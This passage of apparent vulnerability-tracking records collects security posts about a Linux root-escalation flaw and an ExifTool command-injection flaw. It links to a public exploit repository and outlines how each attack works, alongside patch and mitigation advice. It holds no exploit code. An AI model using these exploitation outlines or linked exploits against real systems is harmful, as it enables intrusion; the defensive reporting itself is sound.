\u00ab\u041a\u0438\u0431\u0435\u0440\u043f\u0443\u043b\u044c\u0441\u00bb \u0438 \u043a\u0440\u0430\u0442\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430 \u043e\u0442 \u0414\u043c\u0438\u0442\u0440\u0438\u044f \u0413\u0430\u043b\u043e\u0432\u0430, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f Kaspersky GReAT \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\ud83d\udfe2 \u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u0410\u043d\u0442\u043e\u043d\u0430 \u0418\u0432\u0430\u043d\u043e\u0432\u0430, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0430, \u043f\u0440\u043e \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0435 \u0418\u0418-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u0443 \u0434\u043b\u044f \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u0440\u0430\u0441\u043b\u0438. \u0410 \u0442\u0430\u043a\u0436\u0435 \u0435\u0433\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u043d\u044f \u041f\u041c\u042d\u0424.\n\ud83d\udfe2 \u041e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u043c \u0430\u0441\u043f\u0435\u043a\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u042e\u043b\u0438\u044f \u0428\u043b\u044b\u0447\u043a\u043e\u0432\u0430, \u0432\u0438\u0446\u0435-\u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442 \u043f\u043e PA (public affairs).\n\ud83d\udfe2\u041c\u0438\u0445\u0430\u0438\u043b \u0413\u0435\u0440\u0431\u0435\u0440, \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440, \u043f\u0440\u043e \u043e\u0434\u043d\u0443 \u0438\u0437 \u0432\u0430\u0436\u043d\u044b\u0445 \u0442\u0435\u043c \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043d\u044f \u041f\u041c\u042d\u0424 \u2014 \u0437\u0430\u0449\u0438\u0442\u0443 \u0434\u0435\u0442\u0435\u0439 \u0432 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435.  \n\n#KD_\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442", "creation_timestamp": "2026-09-01T17:00:12.550923Z"}, {"uuid": "5fa81710-9c95-45b5-94f2-0dfb24c4b107", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/hacking_Attack/184646", "content": "GitHub - iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail: Rust implementation Exploit/PoC of CVE-2026-31431-Linux-Copy-Fail, allow executing customized shellcode (such as Meterpreter).\nhttps://www.reddit.com/r/redteamsec/comments/1szpnxo/github_iss4cf0ngcve202631431linuxcopyfail_rust/\n\n  submitted by    /u/AcrobaticMonitor9992  (https://www.reddit.com/user/AcrobaticMonitor9992) \n [link] (https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail)   [comments] (https://www.reddit.com/r/redteamsec/comments/1szpnxo/github_iss4cf0ngcve202631431linuxcopyfail_rust/)", "creation_timestamp": "2026-09-01T20:00:11.011891Z"}, {"uuid": "1ea35d08-93c8-45ff-b0cd-daedecba60e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/hacking_Attack/184670", "content": "Copy-Fail (CVE-2026-31431): From Low-Privileged Shell to Root in Seconds\n\nFrom Foothold to Full Control: Exploiting Copy-Fail (CVE-2026-31431) for Instant Root AccessContinue reading on Medium \u00bb\nRead more...", "creation_timestamp": "2026-09-01T20:00:11.249067Z"}, {"uuid": "142ac062-8351-4a8d-9741-ccfea6844d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bussio.bsky.social/post/3muijuk3gak2t", "content": "\ud83d\udc27 Atenci\u00f3n a quienes administran Linux.\n\nCVE-2026-31431 puede permitir a un usuario local sin privilegios escalar hasta root en sistemas vulnerables.\n\nNo todo ataque empieza desde fuera. A veces el problema ya tiene un pie dentro.\n\nKernel actualizado y a seguir. \ud83d\udd10\n\n#Linux", "creation_timestamp": "2026-09-01T23:05:40.370727Z"}, {"uuid": "f8d5dc8a-9255-4faa-9711-265984370b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/184670", "content": "Copy-Fail (CVE-2026-31431): From Low-Privileged Shell to Root in Seconds\n\nFrom Foothold to Full Control: Exploiting Copy-Fail (CVE-2026-31431) for Instant Root AccessContinue reading on Medium \u00bb\nRead more...", "creation_timestamp": "2026-09-02T01:00:19.243655Z"}, {"uuid": "cb6168cc-0984-4a96-b9c7-e78f2d840205", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/184646", "content": "GitHub - iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail: Rust implementation Exploit/PoC of CVE-2026-31431-Linux-Copy-Fail, allow executing customized shellcode (such as Meterpreter).\nhttps://www.reddit.com/r/redteamsec/comments/1szpnxo/github_iss4cf0ngcve202631431linuxcopyfail_rust/\n\n  submitted by    /u/AcrobaticMonitor9992  (https://www.reddit.com/user/AcrobaticMonitor9992) \n [link] (https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail)   [comments] (https://www.reddit.com/r/redteamsec/comments/1szpnxo/github_iss4cf0ngcve202631431linuxcopyfail_rust/)", "creation_timestamp": "2026-09-02T01:00:19.299417Z"}, {"uuid": "553b556f-3b22-4b3d-b68f-76f5e266544f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskylab_ru/7324", "content": "\u2757\ufe0f CopyFail \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u043c \u041e\u0421 Linux\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432\u0447\u0435\u0440\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (\u043e\u043d\u0430 \u0436\u0435 \u2014 CopyFail) \u0436\u0438\u0432\u0451\u0442 \u0432 \u043a\u043e\u0434\u0435 \u0441 2017 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u041e\u0421.\n\n\ud83d\udd3b\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\u0412\u0441\u0451, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u2014 Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 732 \u0431\u0430\u0439\u0442\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u044f\u0434\u0440\u0430 (authencesn), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0441\u0435\u0433\u043e 4 \u0431\u0430\u0439\u0442\u0430 \u0432 \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u0443 su (\u0441\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f) \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CopyFail.\n\n\ud83d\udd3b\u041a\u0442\u043e \u0432 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430\n\u0411\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0441\u0440\u0435\u0434\u0430\u043c \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438:\n\ud83d\udd34\u043e\u0431\u0449\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438;\n\ud83d\udd34\u0443\u0437\u043b\u044b Kubernetes;\n\ud83d\udd34\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f-\u0430\u0433\u0435\u043d\u0442\u044b \u0434\u043b\u044f CI/CD-\u0437\u0430\u0434\u0430\u0447 (CI-\u0440\u0430\u043d\u043d\u0435\u0440\u044b), \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u043d\u0438\u0435 (pull request);\n\ud83d\udd34\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0430\u0433\u0435\u043d\u0442\u044b, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b.\n\n\u25b6\ufe0f\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\ud83d\udfe2\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u041f\u0430\u0442\u0447 \u0432\u044b\u0448\u0435\u043b \u2014 \u044d\u0442\u043e \u043a\u043e\u043c\u043c\u0438\u0442 a664bf3d603d. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0443\u0436\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \n\ud83d\udfe2\u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0440\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c \u044f\u0434\u0440\u0430 algif_aead.\n\ud83d\udfe2\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 PoC, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Python, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f Kaspersky Endpoint Detection and Response Expert.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udc99 Kaspersky \u0432 \u0412\u041a\n\ud83d\udcac Kaspersky \u0432 Max\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-02T01:03:46.972219Z"}, {"uuid": "5668347c-8aac-4cb3-ab9b-d4db188a9fe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/kasperskylab_ru/7393", "content": "\u0412 \u0441\u0432\u0435\u0436\u0435\u043c #kaspersky_securityweek:\n\n\ud83d\udfe2\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043e\u0442\u0447\u0451\u0442 \u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Claude Mythos \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0447\u0435\u043c \u043f\u0440\u043e\u0438\u043b\u043b\u044e\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0438\u0445 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c. \u0412 \u043e\u0442\u0447\u0451\u0442\u0435 Cloudflare \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043e\u0431\u0432\u044f\u0437\u043a\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0440\u0430\u0441\u0442\u0443\u0449\u0435\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u0442\u0430\u043a\u0438\u0445 \u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\udfe2\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 ExifTool \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b\u0438 \u043e \u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u0438\u0451\u043c\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Cloud Atlas, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438.\n\n\ud83d\udfe2\u041c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 NPM, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u041f\u041e, \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u043e\u043b\u0435\u0435 300 \u0440\u0435\u043b\u0438\u0437\u043e\u0432. \u0412 \u0430\u0442\u0430\u043a\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0441\u044f \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.", "creation_timestamp": "2026-09-02T01:03:47.002744Z"}, {"uuid": "3ef1e2be-21e6-4db5-9e54-5404702c1f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/kasperskylab_ru/7421", "content": "\ud83c\udf4f \u0411\u0440\u0435\u0448\u044c \u0432 ExifTool \u2014 \u0438 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 macOS\n\u00a0\n\u0412 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kaspersky GReAT\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432\u00a0ExifTool\u00a0\u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0\u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, PDF, \u0430\u0443\u0434\u0438\u043e \u0438 \u0432\u0438\u0434\u0435\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u041e\u0421\u00a0macOS \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445.\n\u00a0\n\u0427\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043b\u0430\u0437\u0435\u0439\u043a\u043e\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u0448\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u0430 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043f\u043e\u043b\u0435 DateTimeOriginal. \u0422\u0430\u043a\u0436\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0438\u043b\u044c\u0442\u0440 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438.\n\u00a0\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438.\n\u00a0\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 